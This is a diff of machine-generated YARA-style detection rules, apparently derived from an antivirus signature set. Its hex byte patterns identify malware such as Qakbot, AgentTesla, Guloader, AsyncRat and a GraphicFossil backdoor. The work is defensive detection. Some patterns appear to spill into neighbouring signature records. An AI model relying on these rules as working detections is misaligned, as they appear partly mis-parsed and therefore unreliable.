69 6f 6e 01 00 14 81 01 62 65 6a 65 6c 6c 69 6e 67 20 73 6f 72 67 6c 73 65 72 65 73 01 00 14 81 01 73 68 61 7a 61 6d 20 73 75 70 72 61 6f 72 64 69 6e 61 72 79 01 00 0b 81 01 73 61 6d 6d 65 6e 68 6f 6c 64 73 00 00 78 9f 00 } //385 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*29807+(#a_00_2 & 1)*21581+(#a_00_3 & 1)*257+(#a_01_4 & 1)*-28556+(#a_8e_5 & 1)*256) >=4 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*29807+(#a_00_2 & 1)*66+(#a_69_3 & 1)*385) >=4 } -rule _InfrastructureShared_11005{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 41 52 4f 41 21 4d 54 42 00 05 00 6f 03 09 11 05 03 11 05 91 08 61 06 11 04 91 61 b4 9c 11 04 7e 90 01 01 01 00 04 02 28 90 01 01 01 00 06 17 da } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_11006{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 21 4d 54 42 00 04 00 2b 03 12 00 12 01 28 90 01 01 00 00 06 02 06 07 28 90 01 01 00 00 06 51 28 90 01 01 00 00 06 0c 03 08 28 90 01 01 } //21539 - $a_51_1 = {90 00 01 00 40 80 } //0 - condition: - ((#a_4c_0 & 1)*21539+(#a_51_1 & 1)*0) >=5 - -} -rule _InfrastructureShared_11007{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 6c 6f 67 73 2e 50 47 50 21 4d 54 42 00 01 00 33 01 31 00 37 00 39 00 2e 00 34 00 33 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 2f 00 70 00 61 00 6e 00 65 00 6c 00 } //21539 - $a_00_1 = {70 00 6c 00 6f 00 61 00 64 00 73 04 00 39 01 52 00 65 00 61 00 64 00 41 00 73 00 42 00 79 00 74 00 65 00 41 00 72 00 72 00 61 00 79 00 41 00 73 00 79 00 6e 00 63 00 00 11 47 00 65 00 74 00 41 00 73 00 79 00 6e 00 63 00 00 78 9f 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 4e 31 32 33 21 4d 54 42 } //47 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*47) >=5 - -} -rule _InfrastructureShared_11008{ +rule _InfrastructureShared_11715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -120563,7 +128446,7 @@ rule _InfrastructureShared_11008{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*25089+(#a_00_2 & 1)*66+(#a_71_3 & 1)*385+(#a_79_4 & 1)*26997) >=5 } -rule _InfrastructureShared_11009{ +rule _InfrastructureShared_11716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -120577,7 +128460,7 @@ rule _InfrastructureShared_11009{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26994+(#a_65_2 & 1)*20327+(#a_53_3 & 1)*8993+(#a_2e_4 & 1)*28524) >=5 } -rule _InfrastructureShared_11010{ +rule _InfrastructureShared_11717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -120590,7 +128473,7 @@ rule _InfrastructureShared_11010{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*20084+(#a_68_3 & 1)*5120+(#a_70_4 & 1)*24432) >=5 } -rule _InfrastructureShared_11011{ +rule _InfrastructureShared_11718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -120604,7 +128487,7 @@ rule _InfrastructureShared_11011{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*13625+(#a_61_2 & 1)*28015+(#a_00_3 & 1)*-14839+(#a_61_5 & 1)*21505) >=5 } -rule _InfrastructureShared_11012{ +rule _InfrastructureShared_11719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -120615,7 +128498,7 @@ rule _InfrastructureShared_11012{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-30463) >=6 } -rule _InfrastructureShared_11013{ +rule _InfrastructureShared_11720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -120630,7 +128513,7 @@ rule _InfrastructureShared_11013{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28018+(#a_54_2 & 1)*18467+(#a_6e_3 & 1)*29807+(#a_00_4 & 1)*98+(#a_00_5 & 1)*66) >=6 } -rule _InfrastructureShared_11014{ +rule _InfrastructureShared_11721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -120645,7 +128528,7 @@ rule _InfrastructureShared_11014{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29807+(#a_00_2 & 1)*98+(#a_00_3 & 1)*66+(#a_69_4 & 1)*14949+(#a_61_5 & 1)*26479) >=6 } -rule _InfrastructureShared_11015{ +rule _InfrastructureShared_11722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -120653,56 +128536,105 @@ rule _InfrastructureShared_11015{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 53 42 52 21 4d 53 52 00 01 00 1a 01 62 00 32 00 62 00 32 00 65 00 74 00 65 00 6d 00 70 00 66 00 69 00 6c 00 65 00 01 00 06 01 51 6b 6b 62 61 6c 01 00 0e 01 50 42 5f 47 } //21283 $a_65_1 = {53 74 61 63 6b 01 00 10 01 42 00 46 00 49 00 4e 00 4f 00 50 00 53 00 58 00 01 00 0c 01 50 42 5f 44 72 6f 70 41 63 63 65 70 01 00 13 01 50 42 5f 50 6f 73 74 45 76 65 6e 74 4d 65 73 73 61 67 65 00 00 78 9f 00 00 07 00 06 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 57 69 6e 67 6f 00 02 00 19 02 73 65 } //25697 $a_68_2 = {72 6c 90 02 10 63 6c 69 63 6b 6c 6f 67 75 72 6c 90 00 02 00 0c 00 77 69 6e 67 67 6f 2e 63 6f 2e 6b 72 01 00 18 02 5c 53 6f 66 74 77 61 72 65 5c 90 02 04 57 69 6e 67 90 02 02 67 6f 90 00 01 00 18 02 6c 6f 67 2f 61 64 90 02 02 43 6c 69 63 6b 73 50 6f 70 2e 70 68 70 90 00 01 00 19 00 2e 63 6f 2e 6b } //29281 - $a_6f_3 = {2f 6c 69 76 65 43 68 65 63 6b 2e 70 68 70 00 00 00 78 9f 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 42 41 4a 00 01 00 07 01 0f 01 4c 24 fe 58 c3 01 00 08 01 0f b6 00 83 f8 cc 0f 84 01 00 0e 01 b8 4f 00 00 00 cd 41 66 3d 86 f3 0f 94 c0 } //12146 - $a_01_4 = {b8 68 58 4d 56 66 ba 58 56 ed 81 fb 68 58 4d 56 0f 94 c0 } //1 - $a_01_5 = {56 61 6c 00 42 00 00 00 44 00 00 00 4d 00 00 00 53 00 00 00 } //1 + $a_6f_3 = {2f 6c 69 76 65 43 68 65 63 6b 2e 70 68 70 00 00 00 78 9f 00 00 07 00 07 00 05 00 21 23 50 55 41 3a 4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 53 6f 66 74 6f 6e 69 63 00 05 00 0c 81 01 53 6f 66 74 6f 6e 69 63 5f 44 4c 4d 01 00 0d 01 53 6f 66 74 6f 6e 69 63 5f 33 63 70 70 01 00 25 02 72 00 69 00 73 00 65 00 90 02 0a 2e 00 63 00 6f } //12146 + $a_00_5 = {69 00 76 00 61 00 63 00 79 00 90 00 01 00 15 02 72 69 73 65 90 02 0a 2e 63 6f 6d 2f 70 72 69 76 61 63 79 90 00 01 00 13 81 01 64 69 73 74 72 69 62 75 74 6f 72 5f 70 72 6f 64 75 63 74 00 00 78 9f 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 42 41 4a 00 01 } //112 condition: - ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*25697+(#a_68_2 & 1)*29281+(#a_6f_3 & 1)*12146+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*25697+(#a_68_2 & 1)*29281+(#a_6f_3 & 1)*12146+(#a_00_5 & 1)*112) >=6 } -rule _InfrastructureShared_11016{ +rule _InfrastructureShared_11723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 06 00 05 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 57 69 6e 67 6f 00 02 00 19 02 73 65 61 72 63 68 75 72 6c 90 02 10 63 6c 69 63 6b 6c 6f 67 75 72 6c 90 00 02 00 0c 00 77 69 6e 67 67 6f 2e 63 6f 2e 6b 72 01 00 18 02 5c 53 6f 66 74 77 61 72 65 5c 90 02 04 57 69 6e 67 90 02 02 67 6f 90 00 01 00 18 02 6c 6f 67 2f 61 64 90 02 } //16675 - $a_69_1 = {6b 73 50 6f 70 2e 70 68 70 90 00 01 00 19 00 2e 63 6f 2e 6b 72 2f 6c 6f 67 2f 6c 69 76 65 43 68 65 63 6b 2e 70 68 70 00 00 00 78 9f 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 42 41 4a 00 01 00 07 01 0f 01 4c 24 fe 58 c3 01 00 08 01 0f } //17154 - $a_f8_2 = {0f 84 01 00 0e 01 b8 4f 00 00 00 cd 41 66 3d 86 f3 0f 94 c0 01 00 13 01 b8 68 58 4d 56 66 ba 58 56 ed 81 fb 68 58 4d 56 0f 94 c0 01 00 14 01 56 61 6c 00 42 00 00 00 44 00 00 00 4d 00 00 00 53 00 00 00 01 00 08 01 6d 50 72 6f 67 49 44 00 01 00 07 01 66 6f 6f 62 61 72 00 00 00 78 9f 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e } //182 - $a_21_3 = {54 42 00 05 00 32 03 2c 46 72 29 04 00 70 28 90 01 03 06 72 90 01 03 70 28 90 01 03 06 08 7e 90 01 03 0a 16 09 7e 90 01 03 0a 16 12 01 28 90 01 03 06 28 90 01 03 06 90 00 01 00 10 01 53 68 61 72 70 } //18254 - $a_53_4 = {52 75 6e 6e 65 72 01 00 12 01 56 69 72 74 75 61 6c 4d 65 6d 6f 72 79 57 72 69 74 65 01 00 0e 01 4d 45 4d 5f 52 45 53 45 54 5f 55 4e 44 4f 00 00 78 9f 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 57 21 4d 54 42 00 0a 00 3c 00 03 50 09 03 50 8e 69 6a 5d b7 03 } //26970 + $a_69_1 = {6b 73 50 6f 70 2e 70 68 70 90 00 01 00 19 00 2e 63 6f 2e 6b 72 2f 6c 6f 67 2f 6c 69 76 65 43 68 65 63 6b 2e 70 68 70 00 00 00 78 9f 00 00 07 00 07 00 05 00 21 23 50 55 41 3a 4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 53 6f 66 74 6f 6e 69 63 00 05 00 0c 81 01 53 6f 66 74 6f 6e 69 63 5f 44 4c 4d 01 00 0d 01 53 6f 66 74 6f 6e 69 63 } //17154 + $a_70_2 = {01 00 25 02 72 00 69 00 73 00 65 00 90 02 0a 2e 00 63 00 6f 00 6d 00 2f 00 70 00 72 00 69 00 76 00 61 00 63 00 79 00 90 00 01 00 15 02 72 69 73 65 90 02 0a 2e 63 6f 6d 2f 70 72 69 76 61 63 79 90 00 01 00 13 81 01 64 69 73 74 72 69 62 75 74 6f 72 5f 70 72 6f 64 75 63 74 00 00 78 9f 00 00 07 00 07 } //13151 + $a_52_4 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 42 41 4a 00 01 00 07 01 0f 01 4c 24 fe 58 c3 01 00 08 01 0f b6 00 83 f8 cc 0f 84 01 00 0e 01 b8 4f 00 00 00 cd 41 66 3d 86 f3 0f 94 c0 01 00 13 01 b8 68 58 4d 56 66 } //21320 condition: - ((#a_77_0 & 1)*16675+(#a_69_1 & 1)*17154+(#a_f8_2 & 1)*182+(#a_21_3 & 1)*18254+(#a_53_4 & 1)*26970) >=6 + ((#a_77_0 & 1)*16675+(#a_69_1 & 1)*17154+(#a_70_2 & 1)*13151+(#a_52_4 & 1)*21320) >=6 } -rule _InfrastructureShared_11017{ +rule _InfrastructureShared_11724{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 21 " + + strings : + $a_41_0 = {4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 53 6f 66 74 6f 6e 69 63 00 05 00 0c 81 01 53 6f 66 74 6f 6e 69 63 5f 44 4c 4d 01 00 0d 01 53 6f 66 74 6f 6e 69 63 5f 33 63 70 70 01 00 25 02 72 00 69 00 73 00 65 00 90 02 0a 2e 00 63 00 6f 00 6d 00 2f 00 70 00 72 00 69 } //20515 + $a_00_2 = {90 00 01 00 15 02 72 69 73 65 90 02 0a 2e 63 6f 6d 2f 70 72 69 76 61 63 79 90 00 01 00 13 81 01 64 69 73 74 72 69 62 75 74 6f 72 5f 70 72 6f 64 75 63 74 00 00 78 9f 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 42 41 4a 00 01 00 07 01 0f 01 4c 24 fe 58 c3 01 00 08 01 0f b6 00 } //99 + $a_0f_3 = {84 01 00 0e 01 b8 4f 00 00 00 cd 41 66 3d 86 f3 0f 94 c0 01 00 13 01 b8 68 58 4d 56 66 ba 58 56 ed 81 fb 68 58 4d 56 0f 94 c0 01 00 14 01 56 61 6c 00 42 00 00 00 44 00 00 00 4d 00 00 00 53 00 00 00 01 00 08 01 6d 50 72 6f 67 49 44 00 01 00 07 01 66 6f 6f 62 61 72 00 00 00 78 9f 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 47 42 21 4d 54 42 00 05 00 32 03 2c 46 72 29 04 00 70 28 90 01 03 06 72 90 01 03 70 28 90 01 03 06 08 7e 90 01 03 0a 16 09 7e 90 01 03 0a 16 12 01 28 90 01 03 06 28 90 01 03 06 90 00 01 00 10 01 53 68 61 72 70 5a 69 70 } //-1917 + $a_75_4 = {6e 65 72 01 00 12 01 56 69 72 74 75 61 6c 4d 65 6d 6f 72 79 57 72 69 74 65 01 00 0e 01 4d 45 4d 5f 52 45 53 45 54 5f 55 4e 44 4f 00 00 78 9f 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //17235 + condition: + ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*99+(#a_0f_3 & 1)*-1917+(#a_75_4 & 1)*17235) >=7 + +} +rule _InfrastructureShared_11725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 42 41 4a 00 01 00 07 01 0f 01 4c 24 fe 58 c3 01 00 08 01 0f b6 00 83 f8 cc 0f 84 01 00 0e 01 b8 4f 00 00 00 cd 41 66 3d 86 f3 0f 94 c0 01 00 13 01 b8 68 58 4d } //18467 $a_58_1 = {ed 81 fb 68 58 4d 56 0f 94 c0 01 00 14 01 56 61 6c 00 42 00 00 00 44 00 00 00 4d 00 00 00 53 00 00 00 01 00 08 01 6d 50 72 6f 67 49 44 00 01 00 07 01 66 6f 6f 62 61 72 00 00 00 78 9f 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 47 42 21 4d 54 42 00 05 00 32 03 2c 46 72 29 04 00 70 28 90 01 03 06 72 90 01 03 70 28 90 01 03 06 08 7e 90 01 03 0a 16 09 7e 90 01 03 0a 16 12 01 28 90 01 03 06 28 90 01 03 06 90 00 01 00 10 01 53 68 61 72 70 5a 69 70 53 43 52 75 6e 6e 65 72 01 00 12 01 56 69 } //26198 - $a_61_2 = {4d 65 6d 6f 72 79 57 72 69 74 65 01 00 0e 01 4d 45 4d 5f 52 45 53 45 54 5f 55 4e 44 4f 00 00 78 9f 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 57 21 4d 54 42 00 0a 00 3c 00 03 50 09 03 50 8e 69 6a 5d b7 03 50 09 03 50 8e 69 6a 5d b7 91 07 09 07 8e 69 6a 5d b7 91 61 03 50 } //29810 - $a_d6_3 = {50 8e 69 6a 5d b7 91 da 20 00 01 00 00 d6 20 00 01 00 00 5d b4 9c 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 00 00 78 9f 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 } //5897 - $a_6c_4 = {2e 4f 58 48 43 21 4d 54 42 00 0a 00 3c 00 03 50 08 03 50 8e 69 6a 5d b7 03 50 08 03 50 8e 69 6a 5d b7 91 06 08 06 8e 69 6a 5d b7 91 61 03 50 08 17 6a d6 03 50 8e 69 6a 5d b7 91 da 20 00 01 00 00 d6 20 00 01 00 00 5d b4 9c 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 } //25940 - $a_61_5 = {6f 72 00 00 78 9f 00 00 0c 00 0c 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4a 43 21 4d 54 42 00 0a 00 3a 02 70 0b 03 6f 90 01 04 0c 17 0d 2b 90 01 01 03 09 28 90 01 04 07 09 18 5d 17 d6 28 90 01 04 da 13 04 06 11 04 28 90 01 04 28 90 01 04 28 90 01 04 0a 09 17 d6 0d 09 08 31 90 } //25965 + $a_61_2 = {4d 65 6d 6f 72 79 57 72 69 74 65 01 00 0e 01 4d 45 4d 5f 52 45 53 45 54 5f 55 4e 44 4f 00 00 78 9f 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4c 41 21 4d 54 42 00 02 00 14 01 6b 65 72 6e 65 6d 65 64 6c 65 6d 6d 65 72 6e 65 2e 6b 61 66 02 00 1d 01 5c 6d 6f 64 65 6d 6c 69 6e 69 65 72 } //29810 + $a_5c_3 = {6e 74 72 79 6d 61 6e 2e 74 78 74 22 02 00 16 01 35 5c 68 65 6d 69 68 79 70 6f 65 73 74 68 65 73 69 61 2e 69 6e 69 02 00 1c 01 66 6c 6f 61 74 61 74 69 6f 6e 5c 6b 6f 6c 6c 65 6b 74 69 76 69 73 65 72 69 6e 67 73 00 00 78 9f 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 46 6f } //25966 + $a_6c_4 = {41 00 05 00 16 01 72 75 6e 64 6c 6c 33 32 20 25 73 20 50 72 69 6e 74 65 72 20 25 73 05 00 07 01 53 79 73 53 43 53 49 05 00 0c 01 25 73 7e 73 39 30 38 75 2e 64 6c 6c 05 00 14 01 68 65 6c 6c 6f 68 65 6c 6c 6f 68 65 6c 6c 6f 68 65 6c 6c 6f 05 00 1e 01 6b 65 72 6e 65 6c 28 77 69 6e 37 29 5c 52 65 6c 65 61 73 65 5c 61 } //29555 + $a_65_5 = {70 64 62 00 00 78 9f 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 50 50 51 21 4d 54 42 00 0a 00 37 03 02 00 04 28 90 01 01 05 00 06 80 90 01 01 00 00 04 7e 90 01 01 00 00 04 73 90 01 01 00 00 06 80 90 01 01 00 00 04 7e 90 01 01 00 00 04 7e 90 01 01 00 00 04 7e 90 00 01 00 35 01 50 } //30074 + $a_65_6 = {62 69 6e 00 42 53 5f 4f 44 00 48 77 5f 69 64 00 44 65 5f 6c 61 79 00 47 72 6f 75 70 00 41 6e 74 69 5f 50 72 6f 63 65 73 73 00 41 6e 5f 74 69 00 00 78 9f 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 57 21 4d 54 42 00 0a 00 3c 00 03 50 09 03 50 8e 69 6a 5d b7 03 50 09 03 } //29537 condition: - ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*26198+(#a_61_2 & 1)*29810+(#a_d6_3 & 1)*5897+(#a_6c_4 & 1)*25940+(#a_61_5 & 1)*25965) >=7 + ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*26198+(#a_61_2 & 1)*29810+(#a_5c_3 & 1)*25966+(#a_6c_4 & 1)*29555+(#a_65_5 & 1)*30074+(#a_65_6 & 1)*29537) >=7 } -rule _InfrastructureShared_11018{ +rule _InfrastructureShared_11726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 47 42 21 4d 54 42 00 05 00 32 03 2c 46 72 29 04 00 70 28 90 01 03 06 72 90 01 03 70 28 90 01 03 06 08 7e 90 01 03 0a 16 09 7e 90 01 03 0a 16 12 01 28 90 01 } //16675 $a_90_1 = {03 06 90 00 01 00 10 01 53 68 61 72 70 5a 69 70 53 43 52 75 6e 6e 65 72 01 00 12 01 56 69 72 74 75 61 6c 4d 65 6d 6f 72 } //1539 - $a_69_2 = {65 01 00 0e 01 4d 45 4d 5f 52 45 53 45 54 5f 55 4e 44 4f 00 00 78 9f 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 57 21 4d 54 42 00 0a 00 3c 00 03 50 09 03 50 8e 69 6a 5d b7 03 50 09 03 50 8e 69 6a 5d b7 91 07 09 07 8e 69 6a 5d b7 91 61 03 50 09 17 6a d6 03 50 8e } //22393 - $a_b7_3 = {da 20 00 01 00 00 d6 20 00 01 00 00 5d b4 9c 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 00 00 78 9f 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //27241 + $a_69_2 = {65 01 00 0e 01 4d 45 4d 5f 52 45 53 45 54 5f 55 4e 44 4f 00 00 78 9f 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4c 41 21 4d 54 42 00 02 00 14 01 6b 65 72 6e 65 6d 65 64 6c 65 6d 6d 65 72 6e 65 2e 6b 61 66 02 00 1d 01 5c 6d 6f 64 65 6d 6c 69 6e 69 65 72 6e 65 73 5c 65 6e 74 } //22393 + $a_61_3 = {2e 74 78 74 22 02 00 16 01 35 5c 68 65 6d 69 68 79 70 6f 65 73 74 68 65 73 69 61 2e 69 6e 69 02 00 1c 01 66 6c 6f 61 74 61 74 69 6f 6e 5c 6b 6f 6c 6c 65 6b 74 69 76 69 73 65 72 69 6e 67 73 00 00 78 9f 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 46 6f 73 } //31090 condition: - ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*1539+(#a_69_2 & 1)*22393+(#a_b7_3 & 1)*27241) >=8 + ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*1539+(#a_69_2 & 1)*22393+(#a_61_3 & 1)*31090) >=8 } -rule _InfrastructureShared_11019{ +rule _InfrastructureShared_11727{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 53 4c 41 21 4d 54 42 00 02 00 14 01 6b 65 72 6e 65 6d 65 64 6c 65 6d 6d 65 72 6e 65 2e 6b 61 66 02 00 1d 01 5c 6d 6f 64 65 6d 6c 69 6e 69 65 72 6e 65 73 5c 65 6e } //16675 + $a_6d_1 = {6e 2e 74 78 74 22 02 00 16 01 35 5c 68 65 6d 69 68 79 70 6f 65 73 74 68 65 73 69 61 2e 69 6e 69 02 00 1c 01 66 6c 6f 61 74 61 74 69 6f 6e 5c 6b 6f 6c 6c 65 6b 74 69 76 69 73 65 72 69 6e 67 73 00 00 78 9f 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 46 6f 73 73 69 6c 2e 41 00 05 00 16 01 72 } //29300 + $a_6c_2 = {33 32 20 25 73 20 50 72 69 6e 74 65 72 20 25 73 05 00 07 01 53 79 73 53 43 53 49 05 00 0c 01 25 73 7e 73 39 30 38 75 2e 64 6c 6c 05 00 14 01 68 65 6c 6c 6f 68 65 6c 6c 6f 68 65 6c 6c 6f 68 65 6c 6c 6f 05 00 1e 01 6b 65 72 6e 65 6c 28 77 69 6e 37 29 5c 52 65 6c 65 61 73 65 5c 61 7a 75 72 65 2e 70 64 } //28277 + condition: + ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29300+(#a_6c_2 & 1)*28277) >=8 + +} +rule _InfrastructureShared_11728{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 47 72 61 70 68 69 63 46 6f 73 73 69 6c 2e 41 00 05 00 16 01 72 75 6e 64 6c 6c 33 32 20 25 73 20 50 72 69 6e 74 65 72 20 25 73 05 00 07 01 53 79 73 53 43 53 49 05 00 0c 01 25 } //16675 + $a_39_1 = {38 75 2e 64 6c 6c 05 00 14 01 68 65 6c 6c 6f 68 65 6c 6c 6f 68 65 6c 6c 6f 68 65 6c 6c 6f 05 00 1e 01 6b 65 72 6e 65 6c 28 77 69 6e 37 29 5c 52 65 6c 65 61 73 65 5c 61 7a 75 72 65 2e 70 64 62 00 00 78 9f 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 50 50 51 21 4d 54 42 00 0a 00 37 03 } //32371 + $a_28_2 = {01 01 05 00 } //2 + $a_01_3 = {01 00 00 04 7e 90 01 01 00 00 04 73 90 01 01 00 00 06 80 90 01 01 00 00 04 7e 90 01 01 00 00 04 7e 90 01 01 00 00 04 7e 90 00 01 00 35 01 50 61 73 74 65 5f 62 69 6e 00 42 53 5f 4f 44 00 48 77 5f 69 64 00 44 65 5f 6c 61 79 00 47 72 6f 75 70 00 41 6e 74 69 5f 50 72 6f 63 65 73 73 00 41 6e 5f 74 69 00 